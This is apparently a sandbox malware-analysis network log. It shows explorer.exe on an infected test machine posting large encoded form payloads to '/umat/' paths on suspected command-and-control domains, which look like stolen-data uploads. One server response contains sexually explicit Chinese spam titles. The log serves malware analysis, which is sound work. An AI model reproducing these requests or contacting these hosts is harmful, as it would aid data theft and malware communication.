bT7tPLpx=5N7tMQR_kT84GzawPkGaFFZA4EAELZe6PBLwsG(L8Vt00szB7plbi5KKxeE7kbdJ(E3enqHOAFnNapBhG0des3rOC7xYSqrS5i3JeWkI4dZvwiqKFINjlIgUTEiMh2OhX2AaNMTtl7Bn6ZAI1kupX8eJ8trT8Ijn9qClE-nKJVDycT768cVx(MrOAg(kipVip9mUVc~WqgvLKnDTitibSrS81lO9osJlqjSJyoI95ozWyiwnVPl3zp6dvu8jYfPOnAE86QPg5DWgU5mPTER4xnWBITXwKFF9gBE5GswFfztZpnUuvz7VAawEEDV1H3(YpzObwKroNiF7USgCg4u6iMW6nvV0A-zJHUJYxIREcAv6z3wlfg4-Rv94hSonROfv1bens7ZmVkgP1N0VuFuGDsXPD6zx49hd(tG0JI(EXKTdzdSDOJmYKRThzfVMt4VcTLRH(GFe0HuiVPT2TCSlvWtTzqb0s_d3nRJ3Y1Yp9lEm~vO8YIHVrXyrabpi5QH2qGUd~dHRnPzRn5fDPsC9AFP3OlYOz14w1mLw6aGuXcTN4gLEfShAp8AvGhAeopl4pNFidDtqzfUIkkV4(V~k5C1NuxIRIzVfwZSJ2GGltA2aP_02(PM5Gj4HI_k4BdgRlCfG8RJ7Ov7vV2MeVSf4wECh66~baYu2092yQ_(Ot7~EwtRhpZCEmkJ4qysXF0M-yD(TCdAsKe3LhPr8PDYpyo~AhhkCp5HwNvUO~f2vJhgc7_As9hJNpJyGyf5wcOrZ3qaQnAgomHB551SXk6wnymGtwZjrG2S6Hcvx~CeElAEIqTPr(su8h3lTttnHj3F9ps6qT-5Qk3AA9HRQ4z3mfxdQ2n1sg1YoDiY6da3P3ZGwIFqD6YWd8ds-hclMvJ6r7G37KtRlqTf8wYs5Qd10PiWPmM4Ng7bjREmYlVXzvsFtWt2CjVtTj8Cn8RZ1UMNP9l~fd4aQPrj6DIG07IPZC41enw6ySsq9j9zH1xcFro~r8mLdamVXdCRQ8cC1cVpNQwUprt9-d4(acwg41yK8f0pgyM82u2rahi1-ElvVoftum1JMlpjIVlGHpgbaAb8qO0XdEeZbA_WNu93tX77s~4YP7xRitugHei3SYCil7EBh60JxNgcdHM(g0kmHtEuTPTXySwQv0QwnbF207Lf3NNU9r_Sdx9i82S21ovNblA2Ua6n6kKzi84F_azQa~2RVDAXFYNkkRksgP2yC5eJTDsoUcN8TrBwDjIH0VztJl9wnlB5BL-B1vG971dX1NSN-JTMqr93-6efnFs2Pi9AfqXhjQMsWYtMw9q(dhj2Aap~O(IwX9_~FsVYbsGtZi7P5GcJl7COb8iPBS9mCCEMlyh2EqgHR1UuhLB8yc8JTZhLQbNi62PzfN6j5KRdf~H7nBqvB5yzE(6LB1XZj0XKEbvdn799KQgWBLYY_DdX1~56USBX3tZ6KuDAxqT(BM-TEIAsIfYl97Zbcc5ISWtTTnaH0vtAV0S8mi06h1I~8LgqfOYC1AtV_NRMbp11MN1ffbhsjKPuwnc9LXhAx2TcYopNhymb40I1ylks74eI9eeq8Nql4(9DFl5Vfk71Q85d09judMcFDDYhmJz963b(dPRvDHD2aUZf8x10-4fTliiNh(RJ2w1l_jvnsCYSfSS~zWz3-eI~3iuiZLIY31sfkUPafdZFqEo1Y9fVG78~Mr9hb7t1DeP(W~EYBECxpsCD9tTRGrkFeXOG8~CB-u2dpQIx0oX(I9rkaxFmNYVPVNZKmVtQbE4uJEbHz(xUtITmifs6hN0QwgLTrP42B0E9fQzqzWp2R(euEIuFkStsKy5ejXaaViE98t9WwW4l-IqQl8MxCWeQMT9wmhNGPkrObbDctgYsE3xfGG7bzSbufozlEvTU0rKU9KP~7QjMJ3nnBw974JjH5nrbE~gL1sqkoTVcFOODFYEKlD9damOwKWf31Gov52hW0qR3PqckWmiQyHEoDBRdgFvslyWH_WpH9yjic(w6I7Jku6PQeW0A4klZrzRD-DSGsO_CWFoInqCa9m4XBIEE25Jeu~rfnycUMLyWX7xTlbsiheKdppAsJ9iwWWS9qzsmLK8r517i03LV3gQuOnJ13MI2VtPqkU-wx1IhQYP1IGv60J4npgvmXFoonrg8wXFYr6BNAsrlb~z7ijQe4XwhK8OcbR7Ge08vv~A1GmPFDdIbUUi6tABok772TBDdGTh2my_MFzs6v~hQGuB7Q4E~oXcEZumM6omFx6pI2h1b8GsQAIU59FXgOWctjBDIqx8BdTUVxvFBoG1GTnfMHxNa7qmKjuEhE87ii66dhv5DzMO~fL8mtuMtOv5P1oADDpnPJEVVsqz(PSuNpNLCegg6f(9t_jvKbwHUN8Nb2G_(3j_iVO9GuyESButylD2lSMJqkPWHV89TopbXqv0P1qwvY1ORJPzHfm8tJ5QOjfkS8Oznekxum7aEqet2ab_CZai4twcenVQFJwGk5y4NconwPlGDUpM2wssb8i5A_fmWzot2woTqAiegBAU75PpvATuiSEco1FjsmJS4bEy5zNeFl5oQUbuRQvfyoqc5dXFpoTGfrcXQ9LMJlGq(k3S7RpI4RJ1UNbTDhhDnQDC5yxD6zGgOUJyb1y7vY(VH_9B52DYWdzYOdFT~mCYKDhz~aaxdeVLfVVbIKQPwMIvIa(LhStnC5x1Gd(tn_SaUQgkd4CpZRVor8DSgsFMwgfVsHAkQJQloAj1FxNNjuRxBScr5uAcnm0j5UuadI2LUPvNGzw_QOFttwMLV-(JhaSPheM-x3w1D-9bvg8zKFeplbIKCWSrdmo_q32qLKLNyVZZrvfhNUOyZvhEJnczNiv7A2LCZzElBZhSRirvmXk5wVej2fX4j0D-jNGkUVWY1KrlDbSzs3ocqunfi2r01hlL7TCo5fEH4b5RLiIFdOrat3mwsBKLqzDS1kKpE_3E812eaXc0OFsomRRCtzTVOOX7I-2C2WFegduMNIfUjM4tfyd3rEEXWWUIbu8YxKFBHlrEg8ktLoSyC2tnZaZ-YZrAsqQjQj3SwB(x1L3qIm4r7EgS856QDs9ejCEZSe1o7mcapPfu3mb8u38O6128Ue(Z8eA3YIQY5ahAxuACj8paHnFPamAg9xz39NBXSjHqmOye5MknXyDuikmVKipoTtPESEyUW4C2Eks0lE3qnoHgCiDJRRcKerbMOhmKS232TjMhZ6InOVykPiTQJ1iB0qqra2uvPvC0SvDO8Lq68F0Xt4X1W9IQO03MB8PkxkLyD-84s4T9w4DxgIoQP5qZrQyt92KebMPt2xh0JxrcmLWV8FdgH1NKRpam34kXQIG55f(G0Yh0~Mlkv4Q25nDmHM0vQxulH7xngabhiW(E8ddGUuvBHQ5HAvnxV8BuDiZZwBv4plEi0_0em-mpLLszFHDRdnXZ7vFgqv9b4QnRshaARWDXY0DsutP3zkohtjio9p4kOJ1LRGe2NjLtLR~Z9QRWL6PJX0bcwRSYT3hHNHv-ZMbP4HbiqRK881yg9nK_Clmy2ilUJrgalvn8n7VcFAlbfg0SSQ3Y(fXu2jVMppAVn-evJDKah3S6NACg~N5CQcyb1E8kl1yC(TwQd9Nps2uhvG0pOQNs(fwsh0oXrzIHCLMVt1jeBozUKL8tk010n5xObqABOXwkGjzEGJu1Zg9JJkEyufXNjgiJiWweHTdm6xaCzqoDZaeUIe4v7-gSkWQ5dvkJqb4jnycouwuK~SJoIhVM~xS8sJOok7TskpCbQgjylwwRQSYxWu1f7hfHsorthl0nh8cAC9OEgkXp8MAc04pnPCijy6d8xQmstFQ0XymqNVeOd7kHunOhu5ZA8mMtHT4doPcuBPUkQ3y4ACjjE5WkiEdeU2VwR5X44-auVHEe9o9RNZ0faQS4t8Yn7VYN40AYMZt3cuGjcJIgvhxz24UhGTPR6oeJQ1ufWrv8EtntIaVfhMGl6nDx4uynXHlQb1sWmyjGSJFGbTIFGZtlkzUjvQ9-mdHxZ0dwpglLg00-jHyNmMVCm7LIFwU6FteTTpjuQSnotv4klBdBmDl
Jun 3, 2022 08:19:23.968545914 CEST	11282	OUT	Data Raw: 78 4d 43 7a 79 69 62 39 52 74 63 4f 7a 56 62 56 50 63 45 7a 6b 63 51 34 6e 68 62 4c 31 63 45 50 58 4c 36 45 47 65 7e 47 50 59 6b 75 64 63 45 4c 79 4f 73 76 57 49 47 35 77 56 70 75 55 45 4f 49 6f 7a 39 4a 66 36 6e 77 4b 56 62 5f 39 39 70 64 43 34 Data Ascii: xMCzyib9RtcOzVbVPcEzkcQ4nhbL1cEPXL6EGe~GPYkudcELyOsvWIG5wVpuUEOIoz9Jf6nwKVb_99pdC4nt8WIRCkxGfpKt5wmDQtYy0Oi4Z50xElvBoFdQe4vuBsYNa1NddvlW4SDmv84owIDA0vu85ZF6PlzvX-I40jJnO3GHPhbWDzzbwzkd2vpDWVEF2tPad8BWm4LM1Ot3GZ7ajcJT~h3FxX8qGVi0xjjm1U51nCmXJ7~
Jun 3, 2022 08:19:24.141885042 CEST	11289	OUT	Data Raw: 42 65 30 75 70 68 65 58 76 6b 4d 2d 51 5f 67 35 36 5a 42 49 44 4d 65 38 31 43 58 36 38 77 56 55 65 51 37 72 4b 6f 64 4b 58 6b 48 50 76 4a 72 76 4a 43 33 55 71 78 57 35 4b 63 4c 4a 36 44 59 54 47 55 41 46 76 51 6d 73 41 43 4a 79 46 4a 39 68 57 51 Data Ascii: Be0upheXvkM-Q_g56ZBIDMe81CX68wVUeQ7rKodKXkHPvJrvJC3UqxW5KcLJ6DYTGUAFvQmsACJyFJ9hWQNMpNUEPKemtH2t2TXkwY2tIfkCR3MXjvyeAUiwDmM0zeUAtbvNVzE6Uxo771VdSWjcQqbDxu3VUBx58j2lltdzyhdCUMqrbdsPhasZTI4wCPKEGSiLSC3xiecFbk9PuN5eJKeTtuIZZx5M7V4naFvIkm7HabL3aSp

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
19	192.168.2.4	49893	154.36.145.110	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jun 3, 2022 08:19:23.968199015 CEST	11261	OUT	GET /umat/?bT7tPLpx=2PPXS0ByghwnUiXofzfHcTluxn0kF7CQXUmv2gLgzHNDwPHvxa5MhM39jfYs7JtQ10qs&Lls=Mzrp HTTP/1.1 Host: www.huayugw.com Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Jun 3, 2022 08:19:24.144052982 CEST	11291	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 03 Jun 2022 06:19:34 GMT Content-Type: text/html Content-Length: 1796 Connection: close Vary: Accept-Encoding Data Raw: 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 73 63 72 69 70 74 3e 64 6f 63 75 6d 65 6e 74 2e 74 69 74 6c 65 3d 27 cd f2 c4 fe b4 cf d5 da b1 a3 cf d5 b9 c9 b7 dd d3 d0 cf de b9 ab cb be 27 3b 3c 2f 73 63 72 69 70 74 3e 0d 0a 3c 74 69 74 6c 65 3e 26 23 32 34 35 30 33 3b 26 23 32 32 32 36 39 3b 26 23 31 31 38 3b 26 23 31 30 35 3b 26 23 31 30 30 3b 26 23 31 30 31 3b 26 23 31 31 31 3b 26 23 31 31 35 3b 26 23 33 37 33 32 35 3b 26 23 32 31 34 37 35 3b 26 23 32 31 34 36 34 3b 26 23 32 34 35 37 37 3b 2c 26 23 33 31 35 33 32 3b 26 23 32 31 33 31 33 3b 26 23 32 30 31 30 38 3b 26 23 32 32 32 33 38 3b 26 23 32 30 38 35 32 3b 26 23 32 30 31 31 33 3b 26 23 32 34 33 32 34 3b 26 23 33 38 36 33 32 3b 26 23 32 31 34 34 38 3b 26 23 32 36 31 34 39 3b 26 23 33 39 31 31 38 3b 26 23 33 35 32 37 30 3b 26 23 33 39 30 35 37 3b 2c 26 23 32 31 31 35 30 3b 26 23 32 30 38 34 34 3b 26 23 32 33 34 36 30 3b 26 23 33 33 31 35 31 3b 26 23 33 31 31 39 32 3b 26 23 32 30 30 37 30 3b 26 23 33 32 3b 26 23 32 32 39 30 39 3b 26 23 32 39 32 34 35 3b 26 23 32 32 39 30 39 3b 26 23 33 32 30 33 39 3b 2c 26 23 32 34 33 32 34 3b 26 23 33 30 33 34 30 3b 26 23 33 32 37 36 39 3b 26 23 32 39 30 38 37 3b 26 23 32 32 39 31 39 3b 26 23 32 31 34 36 33 3b 26 23 31 39 39 38 31 3b 26 23 32 30 31 30 32 3b 26 23 32 30 31 30 32 3b 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6b 65 79 77 6f 72 64 73 22 20 63 6f 6e 74 65 6e 74 3d 22 26 23 33 32 36 35 34 3b 26 23 32 32 38 39 39 3b 26 23 33 35 32 37 30 3b 26 23 33 39 30 35 37 3b 26 23 32 32 33 31 32 3b 26 23 33 32 34 34 37 3b 26 23 32 37 37 30 34 3b 26 23 32 30 30 33 37 3b 26 23 32 30 38 31 33 3b 26 23 33 36 31 35 33 3b 26 23 33 35 32 36 36 3b 26 23 33 30 34 37 35 3b 2c 26 23 33 31 35 33 32 3b 26 23 32 31 33 31 33 3b 26 23 32 30 31 30 38 3b 26 23 32 32 32 33 38 3b 26 23 32 30 38 35 32 3b 26 23 32 30 31 31 33 3b 26 23 32 34 33 32 34 3b 26 23 33 38 36 33 32 3b 26 23 32 31 34 34 38 3b 26 23 32 36 31 34 39 3b 26 23 33 39 31 31 38 3b 26 23 33 35 32 37 30 3b 26 23 33 39 30 35 37 3b 2c 26 23 32 31 31 35 30 3b 26 23 32 30 38 34 34 3b 26 23 32 33 34 36 30 3b 26 23 33 33 31 35 31 3b 26 23 33 31 31 39 32 3b 26 23 32 30 30 37 30 3b 26 23 33 32 3b 26 23 32 32 39 30 39 3b 26 23 32 39 32 34 35 3b 26 23 32 32 39 30 39 3b 26 23 33 32 30 33 39 3b 2c 26 23 32 34 33 32 34 3b 26 23 33 30 33 34 30 3b 26 23 33 32 37 36 39 3b 26 23 32 39 30 38 37 3b 26 23 32 32 39 31 39 3b 26 23 32 31 34 36 33 3b 26 23 31 39 39 38 31 3b 26 23 32 30 31 30 32 3b 26 23 32 30 31 30 32 3b 22 20 2f 3e 0d 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 26 23 32 37 34 33 31 3b 26 23 33 32 36 35 34 3b 26 23 32 35 39 31 38 3b 26 23 33 33 36 33 33 3b 26 23 32 37 39 36 36 3b 26 23 32 33 35 34 35 3b 26 23 31 31 38 3b 26 23 31 30 35 3b 26 23 31 30 30 3b 26 23 31 30 31 3b 26 23 31 31 31 3b 26 23 31 31 35 3b 2c 26 23 33 31 35 33 32 3b 26 23 32 31 33 31 33 3b 26 23 32 30 31 30 38 3b 26 23 32 32 32 33 38 3b 26 23 32 30 38 35 32 3b 26 23 32 30 31 31 33 3b 26 23 32 34 33 32 34 3b 26 23 33 38 36 33 32 3b 26 23 32 31 34 34 38 3b 26 23 32 36 31 34 39 3b 26 23 33 39 31 31 38 3b 26 23 33 35 32 37 30 3b 26 23 33 39 30 35 37 3b 2c 26 23 32 31 31 35 30 3b 26 23 32 30 38 34 34 3b 26 23 32 33 34 36 30 3b 26 23 33 33 31 35 31 3b 26 23 33 31 31 39 32 3b 26 23 32 30 30 37 30 3b 26 23 33 32 3b 26 23 32 32 39 30 39 3b 26 23 32 39 32 34 35 3b 26 23 32 32 39 30 39 3b 26 Data Ascii: <html xmlns="http://www.w3.org/1999/xhtml"><head><script>document.title='';</script><title>德国videos重口变态,第十二回兴云弄雨又春风视频,办公室腿秘书好爽好紧,弄的老熟妇受不了了</title><meta name="keywords" content="美女视频在线永久免费观看,第十二回兴云弄雨又春风视频,办公室腿秘书好爽好紧,弄的老熟妇受不了了" /><meta name="description" content="欧美放荡派对videos,第十二回兴云弄雨又春风视频,办公室腿秘书好爽好&
Jun 3, 2022 08:19:24.144079924 CEST	11291	IN	Data Raw: 23 33 32 30 33 39 3b 2c 26 23 32 34 33 32 34 3b 26 23 33 30 33 34 30 3b 26 23 33 32 37 36 39 3b 26 23 32 39 30 38 37 3b 26 23 32 32 39 31 39 3b 26 23 32 31 34 36 33 3b 26 23 31 39 39 38 31 3b 26 23 32 30 31 30 32 3b 26 23 32 30 31 30 32 3b 2c 26 Data Ascii: #32039;,弄的老熟妇受不了了,少妇一边呻吟一边说使劲,久久er热在这里只&#263

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.4	49784	18.193.36.153	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jun 3, 2022 08:17:26.897332907 CEST	9578	OUT	POST /umat/ HTTP/1.1 Host: www.drivetrianrepair.com Connection: close Content-Length: 414 Cache-Control: no-cache Origin: http://www.drivetrianrepair.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.drivetrianrepair.com/umat/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 62 54 37 74 50 4c 70 78 3d 70 67 66 38 43 4b 6a 36 75 4e 4c 43 78 45 49 77 6d 33 37 62 45 4e 56 58 59 35 7a 69 79 4b 58 4f 55 37 31 45 31 36 76 6a 6e 6e 59 49 6f 78 67 44 28 69 6a 30 52 31 57 38 56 7a 4c 74 33 4d 52 46 74 44 49 2d 54 76 43 79 4c 5a 32 64 4e 42 4b 79 69 4e 28 31 38 5f 53 31 46 31 50 58 53 69 7e 41 72 58 6e 4f 52 48 42 34 54 2d 6d 71 44 6f 33 69 34 46 4d 4b 53 44 39 34 6c 50 54 71 70 54 4d 7a 4b 79 70 41 30 31 70 73 39 74 56 43 42 2d 43 74 43 56 74 6c 78 79 48 4b 63 79 6b 63 31 59 37 63 57 36 46 35 35 33 36 75 42 37 45 61 33 6b 6c 77 77 53 66 38 47 46 75 75 4f 66 43 77 78 41 45 61 73 77 62 50 6f 53 49 69 39 53 55 56 4a 42 74 36 7e 31 36 37 30 31 4c 53 71 4d 53 4e 4d 57 6d 47 6e 6b 76 5a 34 44 65 59 38 66 31 63 4f 38 61 44 62 43 4e 37 5a 53 4e 53 78 61 41 66 49 66 49 78 36 43 56 77 30 74 72 76 66 4b 6e 36 73 68 59 35 45 6f 69 74 75 70 41 62 4a 78 35 67 70 64 45 45 73 44 73 45 79 4e 55 47 42 35 4b 6d 4b 67 48 4d 6b 6d 7e 6f 70 72 71 59 39 4a 57 36 69 76 6c 45 35 53 50 46 68 76 47 54 31 49 46 53 56 48 51 68 66 63 35 72 52 4c 64 59 55 72 79 52 63 7a 57 59 41 32 6e 59 4b 37 55 43 4b 4d 37 44 45 62 55 78 57 36 54 71 50 5f 28 37 41 41 73 46 46 6d 7e 53 75 55 39 5f 64 6d 62 4c 72 62 62 6e 48 67 4d 4e 32 51 29 2e 00 00 00 00 00 00 00 00 Data Ascii: bT7tPLpx=pgf8CKj6uNLCxEIwm37bENVXY5ziyKXOU71E16vjnnYIoxgD(ij0R1W8VzLt3MRFtDI-TvCyLZ2dNBKyiN(18_S1F1PXSi~ArXnORHB4T-mqDo3i4FMKSD94lPTqpTMzKypA01ps9tVCB-CtCVtlxyHKcykc1Y7cW6F5536uB7Ea3klwwSf8GFuuOfCwxAEaswbPoSIi9SUVJBt6~16701LSqMSNMWmGnkvZ4DeY8f1cO8aDbCN7ZSNSxaAfIfIx6CVw0trvfKn6shY5EoitupAbJx5gpdEEsDsEyNUGB5KmKgHMkm~oprqY9JW6ivlE5SPFhvGT1IFSVHQhfc5rRLdYUryRczWYA2nYK7UCKM7DEbUxW6TqP_(7AAsFFm~SuU9_dmbLrbbnHgMN2Q).
Jun 3, 2022 08:17:26.916953087 CEST	9578	IN	HTTP/1.1 403 Forbidden Server: nginx Date: Fri, 03 Jun 2022 06:17:26 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close D-Geo: EU Content-Encoding: gzip Data Raw: 38 61 0d 0a 1f 8b 08 00 00 00 00 00 04 03 3d 8e 41 0a 02 31 0c 45 af 92 13 58 66 1f 72 04 71 eb b2 63 c3 b4 50 9b 92 a4 8a b7 b7 58 c6 ed e7 bf ff 3e 66 7f 56 c2 cc 31 11 7a f1 ca 74 15 07 1b bd 8b 3a 27 0c 2b c4 b0 2a bb a4 0f e1 83 9b b3 4e 6c a3 bb 0c 85 5d e5 6d ac f0 62 b5 22 0d 8a 41 13 a8 d2 8e 19 fe b7 2e 70 ab 1c 8d 61 f4 43 63 62 70 01 cf 0c 35 3a 9b 9f f0 34 6d 84 e1 54 84 65 0c bf 9f 5f bc 2a 38 15 ae 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 8a=A1EXfrqcPX>fV1zt:'+Nl]mb"A.paCcbp5:4mTe_80

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
3	192.168.2.4	49785	18.193.36.153	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jun 3, 2022 08:17:26.921689034 CEST	9592	OUT	POST /umat/ HTTP/1.1 Host: www.drivetrianrepair.com Connection: close Content-Length: 36482 Cache-Control: no-cache Origin: http://www.drivetrianrepair.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.drivetrianrepair.com/umat/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 62 54 37 74 50 4c 70 78 3d 70 67 66 38 43 4b 65 76 71 39 33 62 37 30 4d 54 67 46 37 48 4c 73 6c 52 61 4a 28 35 7e 76 76 34 66 70 63 31 6f 49 6e 30 6d 6d 67 43 69 52 39 68 37 6c 32 6e 52 77 72 53 53 42 76 70 7a 73 56 47 74 44 52 64 54 76 47 79 49 5a 65 4e 4e 6e 57 59 6a 76 6e 36 34 66 54 51 55 46 4f 42 57 6a 69 35 72 58 7a 34 52 45 68 53 54 4f 61 71 44 4c 66 69 7e 48 6b 37 49 54 38 53 35 66 44 32 6e 7a 49 45 4b 79 42 59 30 77 52 73 7e 64 52 43 44 65 79 73 45 55 73 7a 75 43 47 68 4d 43 6c 43 38 34 6e 32 57 36 42 58 35 7a 36 75 43 4f 30 61 6d 6e 74 77 34 42 6e 39 4e 56 75 76 4b 66 43 70 6e 41 34 78 73 32 28 35 6f 54 38 63 38 67 49 56 4c 78 74 75 36 6d 61 4a 6c 57 6a 37 73 4d 6e 76 4d 57 71 76 6e 31 43 47 34 43 79 67 37 74 63 69 42 2d 43 35 62 45 56 46 59 79 4e 65 6a 36 41 2d 49 66 49 37 36 43 56 65 30 74 37 76 66 4c 28 36 39 77 49 35 52 34 69 75 31 70 42 65 54 42 34 6d 74 63 34 75 73 48 41 2d 79 4a 51 77 41 4b 79 6d 4b 78 58 4d 78 56 57 33 68 72 71 65 71 5a 57 39 7a 5f 6c 62 35 53 50 37 68 75 47 44 31 5f 46 53 58 53 38 68 65 35 4e 72 63 62 64 59 66 4c 79 54 56 54 53 49 41 33 50 63 4b 36 6b 53 4b 5f 58 44 45 4a 63 78 57 65 6e 71 4a 50 28 37 5a 77 74 46 4e 6c 76 37 34 48 68 7a 63 6c 54 43 6b 4e 75 7a 48 53 74 41 74 44 39 61 37 75 77 4e 6c 5a 67 75 65 70 54 5a 67 54 31 5a 75 68 43 5f 62 54 54 35 57 33 54 32 44 5f 78 4a 4b 59 46 63 30 32 43 33 5a 46 6c 68 7a 35 30 55 79 2d 65 62 4f 79 4f 55 6f 30 46 74 79 6b 55 52 4f 66 6a 66 4c 73 38 73 70 2d 4f 4d 33 46 6c 35 6e 74 35 53 37 47 41 7a 45 2d 64 41 54 4e 77 4c 50 4c 56 4c 43 4a 66 6d 56 39 52 48 35 32 7e 6f 39 55 44 59 4b 53 63 4c 38 6a 55 58 4a 69 78 4b 6d 6c 42 2d 34 5f 28 54 39 54 62 58 70 77 69 56 62 31 6f 41 53 4b 53 4d 63 71 6f 64 6f 45 39 4c 62 30 37 76 68 74 79 69 55 68 74 5a 4c 78 68 49 74 62 63 4b 72 66 5a 78 4a 51 54 5a 39 6b 41 6f 69 6e 76 77 6d 7a 4c 4b 73 76 56 78 5a 59 67 4d 73 36 56 69 52 54 55 48 36 76 6e 4a 62 62 44 6f 53 54 4e 42 53 6b 62 33 72 79 65 34 56 41 50 38 50 46 56 4f 53 6e 45 36 45 50 65 50 7e 44 73 79 39 47 6c 39 62 4d 31 73 77 46 6b 46 7e 5f 74 67 39 59 45 61 79 6b 46 64 43 58 65 42 4d 30 55 65 4a 71 66 50 65 78 4f 45 4c 55 61 53 33 69 28 30 76 36 45 41 52 58 7a 41 4c 6e 67 56 45 70 56 35 61 35 33 38 4b 47 76 30 72 77 5a 65 34 4f 33 79 35 5a 38 72 4e 33 4b 59 77 4b 43 52 56 39 7e 53 6a 71 39 5f 49 72 6c 47 79 55 39 5f 58 6b 49 77 44 4a 76 43 42 36 49 47 31 6e 53 66 64 35 58 37 50 46 59 49 35 70 77 34 74 42 4b 76 35 72 4f 35 53 38 4d 46 36 70 57 6b 48 50 68 68 38 70 37 55 64 6b 61 74 7e 34 57 44 33 51 32 77 67 30 7a 39 35 59 7e 4b 51 49 69 2d 35 42 6e 65 38 52 42 6e 50 69 41 4d 48 62 45 4e 71 66 61 42 59 4e 37 53 6c 64 51 72 45 4d 41 6e 4f 51 73 44 41 75 57 63 38 72 6f 57 48 4e 42 46 35 77 7e 66 79 51 37 66 34 6f 4f 71 33 43 6e 4e 76 5a 77 48 6c 44 61 4e 65 77 38 31 51 35 55 6c 6b 58 69 31 49 54 41 47 66 71 63 32 48 71 53 47 34 57 67 6f 47 45 38 65 6f 6e 77 48 46 6f 45 31 77 48 59 4b 6f 47 4e 67 37 42 58 75 75 33 4a 67 4f 47 4f 67 48 49 5a 65 45 57 43 74 7e 4f 58 52 7e 43 33 39 47 53 68 5f 76 70 38 77 71 30 4f 34 6f 68 6d 5a 72 49 28 48 76 58 4f 34 4a 37 42 46 7a 39 30 30 62 67 57 4d 73 35 53 62 72 62 46 50 70 49 4a 79 42 53 39 62 6d 4f 74 55 4e 6a 71 4f 4d 4e 72 69 44 62 64 5f 38 72 6f 2d 4a 76 72 75 4b 79 66 6e 57 78 39 33 57 65 73 64 37 4a 51 6f 76 5a 56 76 6a 4b 42 39 4c 44 53 63 73 44 6d 6d 7e 64 6a 70 77 4f 78 42 58 66 61 4a 76 56 39 55 71 35 6c 7a 45 66 38 73 55 71 4b 4d 54 55 4c 6c 6b 46 45 4d 71 6a 59 32 62 34 79 2d 28 68 50 56 48 59 31 64 65 64 7a 74 47 71 47 70 7a 52 31 35 77 75 47 6f 57 59 4f 52 4c 45 37 52 4a 4e 7a 65 6a 55 42 61 75 6e 4a 66 6c 56 5a 4a 78 34 34 75 58 63 55 7a 51 79 45 6b 42 55 43 52 71 55 68 46 45 4b 44 32 46 30 52 75 4d 2d 76 4c 33 76 51 39 59 79 4a 54 78 4f 69 66 55 66 37 4f 75 35 30 57 51 39 68 39 28 56 4c 67 49 68 51 36 62 46 6b 49 36 55 6c 32 37 6f 73 36 4e 62 5a 57 7e 53 53 66 36 48 45 53 64 46 76 57 65 47 42 57 77 52 6f 4c 62 68 45 54 5a 30 74 54 75 69 47 32 4e 72 43 78 33 79 57 30 42 59 42 33 32 35 48 5a 44 54 6a 2d 58 38 5a 4e 34 70 5a 2d 73 39 75 5a 67 34 53 65 70 71 71 78 52 6a 78 53 6b 46 39 71 63 47 Data Ascii: bT7tPLpx=pgf8CKevq93b70MTgF7HLslRaJ(5~vv4fpc1oIn0mmgCiR9h7l2nRwrSSBvpzsVGtDRdTvGyIZeNNnWYjvn64fTQUFOBWji5rXz4REhSTOaqDLfi~Hk7IT8S5fD2nzIEKyBY0wRs~dRCDeysEUszuCGhMClC84n2W6BX5z6uCO0amntw4Bn9NVuvKfCpnA4xs2(5oT8c8gIVLxtu6maJlWj7sMnvMWqvn1CG4Cyg7tciB-C5bEVFYyNej6A-IfI76CVe0t7vfL(69wI5R4iu1pBeTB4mtc4usHA-yJQwAKymKxXMxVW3hrqeqZW9z_lb5SP7huGD1_FSXS8he5NrcbdYfLyTVTSIA3PcK6kSK_XDEJcxWenqJP(7ZwtFNlv74HhzclTCkNuzHStAtD9a7uwNlZguepTZgT1ZuhC_bTT5W3T2D_xJKYFc02C3ZFlhz50Uy-ebOyOUo0FtykUROfjfLs8sp-OM3Fl5nt5S7GAzE-dATNwLPLVLCJfmV9RH52~o9UDYKScL8jUXJixKmlB-4_(T9TbXpwiVb1oASKSMcqodoE9Lb07vhtyiUhtZLxhItbcKrfZxJQTZ9kAoinvwmzLKsvVxZYgMs6ViRTUH6vnJbbDoSTNBSkb3rye4VAP8PFVOSnE6EPeP~Dsy9Gl9bM1swFkF~_tg9YEaykFdCXeBM0UeJqfPexOELUaS3i(0v6EARXzALngVEpV5a538KGv0rwZe4O3y5Z8rN3KYwKCRV9~Sjq9_IrlGyU9_XkIwDJvCB6IG1nSfd5X7PFYI5pw4tBKv5rO5S8MF6pWkHPhh8p7Udkat~4WD3Q2wg0z95Y~KQIi-5Bne8RBnPiAMHbENqfaBYN7SldQrEMAnOQsDAuWc8roWHNBF5w~fyQ7f4oOq3CnNvZwHlDaNew81Q5UlkXi1ITAGfqc2HqSG4WgoGE8eonwHFoE1wHYKoGNg7BXuu3JgOGOgHIZeEWCt~OXR~C39GSh_vp8wq0O4ohmZrI(HvXO4J7BFz900bgWMs5SbrbFPpIJyBS9bmOtUNjqOMNriDbd_8ro-JvruKyfnWx93Wesd7JQovZVvjKB9LDScsDmm~djpwOxBXfaJvV9Uq5lzEf8sUqKMTULlkFEMqjY2b4y-(hPVHY1dedztGqGpzR15wuGoWYORLE7RJNzejUBaunJflVZJx44uXcUzQyEkBUCRqUhF